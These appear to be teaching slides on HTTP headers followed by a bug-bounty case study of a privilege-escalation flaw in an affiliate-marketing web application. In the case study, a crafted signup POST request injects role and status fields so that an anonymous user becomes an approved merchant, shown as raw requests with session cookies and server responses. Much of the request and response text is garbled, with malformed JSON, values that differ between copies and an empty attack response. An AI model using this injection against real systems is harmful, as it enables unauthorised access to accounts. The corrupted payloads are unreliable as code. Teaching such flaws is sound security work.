Agenda

- HTTP request and response
- Case Study: Response To Request Injection (RTRI)
HTTP works as a request-response protocol between a client and server. Two commonly used methods for a request-response between a client and server are: GET and POST.

- **GET** - Requests data from a specified resource
- **POST** - Submits data to be processed to a specified resource
## HTTP Headers: Request vs Response

<table>
<thead>
<tr>
<th>Header</th>
<th>Type</th>
<th>Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>User-Agent</td>
<td>Request</td>
<td>Information about the browser and its platform</td>
</tr>
<tr>
<td>Accept</td>
<td>Request</td>
<td>The type of pages the client can handle</td>
</tr>
<tr>
<td>Accept-Charset</td>
<td>Request</td>
<td>The character sets that are acceptable to the client</td>
</tr>
<tr>
<td>Accept-Encoding</td>
<td>Request</td>
<td>The page encodings the client can handle</td>
</tr>
<tr>
<td>Accept-Language</td>
<td>Request</td>
<td>The natural languages the client can handle</td>
</tr>
<tr>
<td>Host</td>
<td>Request</td>
<td>The server’s DNS name</td>
</tr>
<tr>
<td>Authorization</td>
<td>Request</td>
<td>A list of the client’s credentials</td>
</tr>
<tr>
<td>Cookie</td>
<td>Request</td>
<td>Sends a previously set cookie back to the server</td>
</tr>
<tr>
<td>Date</td>
<td>Both</td>
<td>Date and time the message was sent</td>
</tr>
<tr>
<td>Upgrade</td>
<td>Both</td>
<td>The protocol the sender wants to switch to</td>
</tr>
<tr>
<td>Server</td>
<td>Response</td>
<td>Information about the server</td>
</tr>
<tr>
<td>Content-Encoding</td>
<td>Response</td>
<td>How the content is encoded (e.g., gzip)</td>
</tr>
<tr>
<td>Content-Language</td>
<td>Response</td>
<td>The natural language used in the page</td>
</tr>
<tr>
<td>Content-Length</td>
<td>Response</td>
<td>The page’s length in bytes</td>
</tr>
<tr>
<td>Content-Type</td>
<td>Response</td>
<td>The page’s MIME type</td>
</tr>
<tr>
<td>Last-Modified</td>
<td>Response</td>
<td>Time and date the page was last changed</td>
</tr>
<tr>
<td>Location</td>
<td>Response</td>
<td>A command to the client to send its request elsewhere</td>
</tr>
<tr>
<td>Accept-Ranges</td>
<td>Response</td>
<td>The server will accept byte range requests</td>
</tr>
<tr>
<td>Set-Cookie</td>
<td>Response</td>
<td>The server wants the client to save a cookie</td>
</tr>
</tbody>
</table>

Image source: [http://www.computing.dcu.ie/~humphrys/Notes/Networks/tanenbaum/7-43.jpg](http://www.computing.dcu.ie/~humphrys/Notes/Networks/tanenbaum/7-43.jpg)
Tools to Monitor HTTP Traffic

- Wireshark
- Webscarab
- Paros Proxy
- Burp Suite
- and many other tools available.
Case Study: Response To Request Injection (RTRI) Attack
Response To Request Injection (RTRI) is classed as an Insecure Direct Object Reference Vulnerability, where application trusts user supplied data on a POST Request, even though it is NEVER expected within a request.
Mark Litchfield’s Story

- One of the most successful hackers on hackerone.com: https://hackerone.com/leaderboard/all-time
- By exploiting RTRI vulnerabilities in the past two years:
  - From one program he received two $15,000 awards
  - From another at total of $18,000
  - A partial payment for another of just under $13,000
  - The recent H1-702 event he received an award for $10,000
Step 1: Discovery
The Target Website

Start making money now!
There is no charge to join our Affiliate Program. We pay commissions for all sales you referred. Earn up to 30% commissions

Affiliates Signup

Already our affiliate?
We have always something new for our affiliates. Login to check earned commissions and new campaigns

Login

Earn up to 50% commission for all products!
Not only can you join our team and help spread the word about your favorite products, you can get rewarded for your efforts. Our system tracks referrals and pays top commissions for every client you send our way.

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/b-1(1).png
Merchant Login

Post Affiliate Pro
Success made easier

Merchant login

Login

Username (Email)
merchant@example.com

Password
....

Language
English [en-US]

Remember me on this computer

Login

Forgot Your Password?

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/b-2.png
Create an Affiliate Account

<table>
<thead>
<tr>
<th>Overview</th>
</tr>
</thead>
<tbody>
<tr>
<td>Affiliate tree</td>
</tr>
<tr>
<td>Affiliates Manager</td>
</tr>
<tr>
<td>DirectLinks URLs</td>
</tr>
<tr>
<td>Affiliate Help Desk</td>
</tr>
<tr>
<td>Lifetime referrals</td>
</tr>
<tr>
<td>Affiliate Tracking Code</td>
</tr>
</tbody>
</table>

**Transactions**

**Reports**

**Payouts**

**Emails**

**Configuration**

**Tools**

**Offline sale**

**Help**

**Features**

**Plugins**

**About Post Affiliate Pro**

**John Merchant**

**Panel Settings**

**Web URL**

**Company name**

**Street**

**City**

**State**

**Country**

**Zipcode**

**Phone**

**Fax**

**Username**: foo@bar.com

**Password**: ************

**Retype password again**: ************

**First Name**: Foo

**Last Name**: Bar

**Referral ID**: 12312

**Status**: Approved

**Note**: None

**Photo**: Change image  Delete image

**Additional Information**

**Don't send notification email**

**Create signup/referral commissions**

**image source**: https://www.bugbountyhq.com/ckfinder/userfiles/images/b-3.png
The HTTP Post Request

POST /scripts/server.php HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary="-----1007637599"
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 995
DNT: 1
Host: demo.postaffiliatepro.com
Pragma: no-cache
Cookie: A=2cbd1fa6c5e0a6e0948e5e9f0fb7218a; PAPVisitorId=66b0c882715563aa6a4bee70eVQii1MP;
M=c23b5d9f1dc637424c80eff87b1b8ff3; M_auth=2b0e3b0c3b9d0ad7ee0f12461cbe0b01;
M_pap_sid=c23b5d9f1dc637424c80eff87b1b8ff3; gpf_language=en-US
Connection: close

"C":"Gpf_Rpc_Server", "M":"run", "requests":{{"C":"Pap_Merchants_User_AffiliateForm", "M":"add", "fields":{["name","value"],["Id",""],["username","foo@bar.com"],["rpassword","P@sswOrd!!"],["firstname","Foo"],["lastname","Bar"],["photo",""],["rstatus","A"],["note",""],["dontSendEmail","N"],["createSignupReferralComm","N"],["agreeWithTerms","Y"],["parentuserid",""],["refid","121212"],["data1","http://www.foo.com"],["data2","Foobar"],["data3","Foo"],["data4","Bar"],["data5","NV"],["data6","US"],["data7","98444"],["data8",""],["data9",""}},"C":"Pap_Merchants_User_AffiliatesGridSimple", "M":"getRows", "sort_col":"dateinserted", "sort_asc":false, "offset":0, "limit":100, "columns":{["id"],["id"],["refid"],["firstname"],["lastname"],["userid"],["username"],["rstatus"],["dateinserted"],["parentfirstname"],["parentlastname"],["parentuserid"],["actions"]]},
"S":"c23b5d9f1dc637424c80eff87b1b8ff3"}

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/p-1.png
The HTTP Post Response

<table>
<thead>
<tr>
<th>Raw</th>
<th>Headers</th>
<th>Hex</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP/1.1 200 OK&lt;br&gt;Server: nginx/1.9.7&lt;br&gt;Date: Mon, 29 Aug 2016 20:20:53 GMT&lt;br&gt;Content-Type: application/json; charset=utf-8&lt;br&gt;Content-Length: 2216&lt;br&gt;Connection: close&lt;br&gt;CACHE-Control: private, no-cache, no-store, max-age=0, max-age=120&lt;br&gt;Expires: Mon, 29 Aug 2016 20:22:53 GMT&lt;br&gt;Age: 0&lt;br&gt;Accept-Ranges: bytes&lt;br&gt;X-Varnish: 923573020&lt;br&gt;Age: 0&lt;br&gt;Vary: Accept-Encoding&lt;br&gt;Via: 1.1 varnish (1.1b-app.pap.linode-us-tx)&lt;br&gt;Accept-Ranges: bytes&lt;br&gt;</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

```json
{
    "fields": [
        {
            "name": "value",
            "values": ["error"],
            "id": "aef3ceb2",
            "null": "null",
            "username": "foo@bar.com",
            "null": "null",
            "rpassword": "AGZ4K7hsFC42hcnkh4QSCEFVWv68qzg=",
            "null": "null",
            "firstname": "Foo",
            "null": "null",
            "lastname": "Bar",
            "null": "null",
            "photo": "null",
            "null": "null",
            "rstatus": "A",
            "null": "null",
            "note": "null",
            "null": "null",
            "dontSendEmail": "N",
            "null": "null",
            "createSignupReferralComm": "N",
            "null": "null",
            "agreeWithTerms": "Y",
            "null": "null",
            "parentuserid": "null",
            "null": "null",
            "created": "131212",
            "null": "null",
            "data1": "http://www.foon.com",
            "null": "null",
            "data2": "Foo",
            "null": "null",
            "data3": "Bar",
            "null": "null",
            "data4": "null",
            "null": "null",
            "data5": "null",
            "null": "null",
            "data6": "null",
            "null": "null",
            "data7": "null",
            "null": "null",
            "data8": "null",
            "null": "null",
            "data9": "null",
            "null": "null",
            "data10": "null",
            "null": "null",
            "data11": "null",
            "null": "null",
            "data12": "null",
            "null": "null",
            "data13": "null",
            "null": "null",
            "data14": "null",
            "null": "null",
            "data15": "null",
            "null": "null",
            "data16": "null",
            "null": "null",
            "data17": "null",
            "null": "null",
            "data18": "null",
            "null": "null",
            "data19": "null",
            "null": "null",
            "data20": "null",
            "null": "null",
            "data21": "null",
            "null": "null",
            "data22": "null",
            "null": "null",
            "data23": "null",
            "null": "null",
            "data24": "null",
            "null": "null",
            "data25": "null",
            "null": "null",
            "authid": "79e6bcb",
            "null": "null",
            "accountid": "default",
            "null": "null",
            "authcode": "pacфф",
            "null": "null",
            "lastlogin": "null",
            "null": "null",
            "logincount": "null",
            "null": "null",
            "notificatonemail": "null",
            "null": "null",
            "openid_user_id": "null",
            "null": "null",
            "success": "Y",
            "message": "Affiliate was successfully added"
        }
    ],
    "count": 2
}
```

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/p-2.png
Create a Merchant Account

![Add merchant form](https://www.bugbountyhq.com/ckfinder/userfiles/images/b-4.png)
The HTTP Post Request

POST /scripts/server.php HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=----------1289815219
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 438
DNT: 1
Host: demo.postaffiliatepro.com
Pragma: no-cache
Cookie: A=2cbd1fa6c5e0a8e60948e569f0fb7218a; PAPVisitorId=66b0c882715563aa6a4bee7oeVQiilMP; M=c23b5d9f1dc637424c80eff87b1b8ff3; M_auth=2b0e3b0c3b9fd0ad7ee0f12461cbeb01; M_pap_sid=c23b5d9f1dc637424c80eff87b1b8ff3; gpf_language=en-US
Connection: close

---------1289815219
Content-Disposition: form-data; name="D"

{"C":"Gpf_Rpc_Server", "M":"run", "requests":[{"C":"Pap_Features_MultipleMerchants_AdminForm", "M":"add", "fields": [{"name", "value"}], "Id", ",", "firstname", "Hi"}, {"lastname", "Jack"}, {"username", "bar@foo.com"}, {"rpassword", "P@ssWrd!!"}, {"retypepassword", "P@ssWrd!!"}, {"roleid", "pap_merc"}, {"photo", ","}], "S":c23b5d9f1dc637424c80eff87b1b8ff3"}
---------1289815219--

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/p-3.png
The HTTP Post Response

<table>
<thead>
<tr>
<th>Response</th>
<th>Raw</th>
<th>Headers</th>
<th>Hex</th>
</tr>
</thead>
</table>

HTTP/1.1 200 OK  
Server: nginx/1.9.7  
Date: Mon, 29 Aug 2016 20:27:08 GMT  
Content-Type: application/json; charset=utf-8  
Content-Length: 1770  
Connection: close  
Cache-Control: private, no-cache, no-store, max-age=0, max-age=120  
Expires: Mon, 29 Aug 2016 20:29:07 GMT  
Age: 0  
Accept-Ranges: bytes  
X-Varnish: 918482398  
Age: 0  
Vary: Accept-Encoding  
Via: 1.1 varnish (1.1b-app.pap.linode-us-tx)  
Accept-Ranges: bytes  

```json
{"fields": [{"name": "name", "value": "values", "error": "[]"}, {"id": "6e933d74", null, ""}, {"firstname": "Hi", null, ""}, {"lastname": "Jack", null, ""}, {"username": "bac@foo.com", null, ""}, {"password": "8dU7KjigCmA/CYlFeWkUu6QMQt5oU/oQ", null, ""}, {"rpassword": "P3ssWd!!", null, ""}, {"roleid": "pap_merc", null, ""}, {"photo": "", null, ""}, {"userid": "6e933d74", null, ""}, {"refid": "la5f98f2", null, ""}, {"numberuserid": null, ""}, {"tenant": "","}, {"dateinserted": "2016-08-29 13:27:07", null, ""}, {"datetid": "2016-08-29 13:27:07", null, ""}, {"deleteid": "", null, ""}, {"accountuserid": "la5f98f2", null, ""}, {"parentuserid": null, null, ""}, {"minimumpayout": "300", null, ""}, {"payoutoptionid": null, null, ""}, {"note": null, null, ""}, {"originalparentuserid": null, null, ""}, {"data1": null, null, ""}, {"data2": null, null, ""}, {"data3": null, null, ""}, {"data4": null, null, ""}, {"data5": null, null, ""}, {"data6": "bar@foo.com", null, ""}, {"data7": null, null, ""}, {"data8": null, null, ""}, {"data9": null, null, ""}, {"data10": null, null, ""}, {"data11": null, null, ""}, {"data12": null, null, ""}, {"data13": null, null, ""}, {"data14": null, null, ""}, {"data15": null, null, ""}, {"data16": null, null, ""}, {"data17": null, null, ""}, {"data18": null, null, ""}, {"data19": null, null, ""}, {"data20": null, null, ""}, {"data21": null, null, ""}, {"data22": null, null, ""}, {"data23": null, null, ""}, {"data24": null, null, ""}, {"data25": null, null, ""}, {"authid": "fa6ea3b", null, ""}, {"accountid": "default", null, ""}, {"firststatus": "A", null, ""}, {"lastlogin": null, null, ""}, {"logincount": null, null, ""}, {"salt": "NDbxUoqAb9PacB3zmFNEsVHmsbNa15hBFieM2Ne3fpvqa6q8dHJv5eT58XYY1", null, ""}, {"auth_token": "3efb350f50329d013bf16abc6f3a8a", null, ""}, {"notificationemail": null, null, ""}, {"openid_user_id": null, null, ""}, {"success": "Y", "message": "Admin was successfully added"}]  
```

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/p-4.png
Self-Registration as an Unauthorized User

It's free
There's no charge to join our affiliate program.

Get started easily
We supply all the tools for you and handle all the fulfillment details, such as order processing, shipment, billing and support. All you have to do is refer customer to us - and make money.

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/b-5.png
The HTTP Post Request

```plaintext
POST /scripts/server.php HTTP/1.1
Accept: */*
Accept-Language: en-US
Referer: http://demo.postaffiliatepro.com/affiliates/signup.php#SignupForm
Content-Type: multipart/form-data; boundary=--------59442104
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: demo.postaffiliatepro.com
Content-Length: 553
DNT: 1
Pragma: no-cache
Cookie: A=2cbd1fa6c5e0a860948e569f0fb7218a; PAPVisitorId=66b0c8827155e3aa6a4bee70eVQiilMP; M=a633c8da3a85d56c57063cb5509f26c7; M_pap_sid=c23b5d9f1dc637424c80eff87b1b8ff3; gpf_language=en-US
Connection: close

--------59442104
Content-Disposition: form-data; name="D"

{"C":"Gpf_Rpc_Server", "M":"run", "requests":[{"C":"Pap_Signup_AffiliateForm", "M":"add", "fields":[{"name","value"},{"Id"},{"username","xxx@xxx.com"},{"firstname","xxx"},{"lastname","xxx"},{"agreeWithTerms","Y"},{"parentuserid"},{"refid","65757"},{"data1","http://www.ggg.com"},{"data2","xxx"},{"data3","xxx"},{"data4","xxx"},{"data5","xxx"},{"data6","US"},{"data7","98444"},{"data8"},{"data9"},{"lang",null}]], "S":"2cbd1fa6c5e0a860948e569f0fb7218a"}
--------59442104--
```

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/p-5.png
Response

HTTP/1.1 200 OK
Server: nginx/1.9.7
Date: Mon, 29 Aug 2016 20:35:55 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1697
Connection: close
Cache-Control: private, no-cache, no-store, max-age=0, max-age=120
Expires: Mon, 29 Aug 2016 20:37:55 GMT
Age: 0
Accept-Ranges: bytes
X-Varnish: 52399438
Age: 0
Vary: Accept-Encoding
Via: 1.1 varnish (1.1b-app.pap.linode-us-tx)
Accept-Ranges: bytes

{ "fields": { "name": "value", "values": "error" }, [ "Id", "b4b47799", null, "" ], [ "username", "xxx[xxx].com", null, "" ], [ "firstname", "xxx", null, "" ], [ "lastname", "xxx", null, "" ], [ "agreeWithTerms", "Y", null, null ], [ "parentUserID", "", null, "" ], [ "refid", "65757", null, "" ], [ "data1", "https://www.bugbountyhq.com/ckfinder/userfiles/images/p-6.png" ], [ "data2", "xxx", null, "" ], [ "data3", "xxx", null, "" ], [ "data4", "xxx", null, "" ], [ "data5", "xxx", null, "" ], [ "data6", "US", null, "" ], [ "data7", "58444", null, "" ], [ "data8", "", null, "" ], [ "data9", "", null, "" ], [ "data10", "", null, "" ], [ "lang", null, null, null ], [ "userid", "b4b47799", null, "" ], [ "payoutoptionid", "e444afa30", null, "" ], [ "numberuserid", "1", null, "" ], [ "rtype", "A", null, "" ], [ "dateinserted", "2016-08-29 13:35:55", null, "" ], [ "dateapproved", null, null, "" ], [ "deleted", "N", null, "" ], [ "accountuserid", "cc1fd969", null, "" ], [ "minimumpayment", "300", null, "" ], [ "note", null, null, "" ], [ "photo", null, null, "" ], [ "originalparentuserid", null, null, "" ], [ "data10", null, null, "" ], [ "data11", null, null, "" ], [ "data12", null, null, "" ], [ "data13", null, null, "" ], [ "data14", null, null, "" ], [ "data15", null, null, "" ], [ "data16", null, null, "" ], [ "data17", null, null, "" ], [ "data18", null, null, "" ], [ "data19", null, null, "" ], [ "data20", null, null, "" ], [ "data21", null, null, "" ], [ "data22", null, null, "" ], [ "data23", null, null, "" ], [ "data24", null, null, "" ], [ "data25", null, null, "" ], [ "authid", "af9ae93e", null, "" ], [ "accountid", "default", null, "" ], [ "roleid", "pap_aff", null, "" ], [ "status", "P", null, "" ], [ "lastlogin", null, null, "" ], [ "loginscout", null, null, "" ], [ "rssword", "ThOVoPj", null, "" ], [ "salt", null, null, "" ], [ "authtoken", "e7d895907b453caf358adfdedcfcee", null, "" ], [ "notificationemail", null, null, "" ], [ "openid_user_id", null, null, "" ], [ "success", "Y", "success" ], [ "message", "Affiliate was successfully added" ]

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/p-6.png
Step 2: The Attack
The Attack - Craft a HTTP Post Request

```
POST /scripts/server.php HTTP/1.1
Accept: */*
Accept-Language: en-US
Referer: http://demo.postaffiliatepro.com/affiliates/signup.php#SignupForm
Content-Type: multipart/form-data; boundary=----------1972004510
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: demo.postaffiliatepro.com
Content-Length: 569
DNT: 1
Pragma: no-cache
Cookie: A=2c6d1fa6c5e0a860948e569f0fb7218a; PAPVisitorId=66b0c882715563aa6a4bee7oeVQi1lMP;
M=a633c8da3a85d56c57063cb5509f26c7; M_pap_sid=c23b5d9f1dc637424c80eff87b1b0ff3;
gpf_language=en-US
Connection: close

----------1972004510
Content-Disposition: form-data; name="D"

{"C":"Gpf_Rpc_Server", "M":"run", "requests":[{"C":"Pap_Signup_AffiliateForm", "M":"add", "fields":[{"name","value"}, {"Id",""}],["username","hijacker@hijack.com"],["firstname","Hax"],["lastname","Or"],["rtype","M"], ["roleid","pap_merc"], ["rstatus","A"], ["agreeWithTerms","Y"],["parentuserid",""],["refid","10101"],["data1","http://www.hijacked.com"],["data2","xxx"],["data3","xxx"],["data4","xxx"],["data5","xxx"],["data6","US"],["data7","9844"],["data8",""],["data9",""],["lang",null]},{ "S":"2c6d1fa6c5e0a860948e569f0fb7218a"}}

----------1972004510--
```

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/p-7.png
The Attack - The HTTP Post Response

HTTP/1.1 200 OK
Server: nginx/1.9.7
Date: Mon, 29 Aug 2016 20:42:41 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1813
Connection: close
Cache-Control: private, no-cache, no-store, max-age=0, max-age=120
Expires: Mon, 29 Aug 2016 20:44:40 GMT
Age: 0
Accept-Ranges: bytes
X-Varnish: 922694513
Age: 0
Vary: Accept-Encoding
Via: 1.1 varnish (1.1b-app.pap.linode-us-tx)
Accept-Ranges: bytes

```json
```

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/p-8.png
Account Status - Approved!

![Merchants Page](https://www.bugbountyhq.com/ckfinder/userfiles/images/b-6.png)

<table>
<thead>
<tr>
<th>Name</th>
<th>Username</th>
<th>Status</th>
<th>Date Joined</th>
<th>Default</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Han Choi</td>
<td><a href="mailto:hijacker@hijack.com">hijacker@hijack.com</a></td>
<td>Approved</td>
<td>08/20/2016 20:28:35</td>
<td></td>
<td></td>
</tr>
<tr>
<td>John Merchant</td>
<td><a href="mailto:merchant@example.com">merchant@example.com</a></td>
<td>Approved</td>
<td>08/20/2016 17:00:45</td>
<td>Yes</td>
<td></td>
</tr>
</tbody>
</table>

Create Password

image source: https://www.bugbountyhq.com/ckfinder/userfiles/images/b7.png
Resource for Practice

- https://www.youtube.com/watch?v=RIHZH1VsS_U
- http://ctffiles.bughunters.club/smf-admin/
References

A large portion of the material is adapted from:

- Hunter Tip #1 Response To Request Injection (RTRI) - Mark Litchfield [https://www.bugbountyhq.com/front/latestnews/dWRWR0thQ2ZWOFN5cTE1cXQrSFZmUT09/](https://www.bugbountyhq.com/front/latestnews/dWRWR0thQ2ZWOFN5cTE1cXQrSFZmUT09/)


- HTTP Headers - [https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html](https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html)

- Network programming in Java - Dr. Mark Humphrys [http://www.computing.dcu.ie/~humphrys/Notes/Networks/java.html](http://www.computing.dcu.ie/~humphrys/Notes/Networks/java.html)